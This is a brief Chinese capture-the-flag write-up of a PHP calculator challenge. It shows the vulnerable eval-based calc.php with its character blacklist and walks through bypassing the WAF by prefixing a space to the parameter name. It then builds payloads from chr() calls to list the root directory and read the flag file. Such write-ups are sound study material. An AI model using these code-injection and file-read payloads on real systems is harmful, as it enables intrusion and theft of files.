简单计算,诶嘿,还真是个计算器

看看源码,发现有waf

意思就是:传入num,然后过滤,然后eval执行

calc.php打开显示

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

输入字母直接403了,根据大佬wp猜测,是waf拦截了num变量非数字

饶waf就直接在num=前面加个空格 那么变量就是“ num”而不是“num”

? num=var_dump(scandir(chr(47))) 来列出目录

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" } 

发现f1agg

读取f1agg

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

也就是

file_get_contents(/f1agg)

得到flag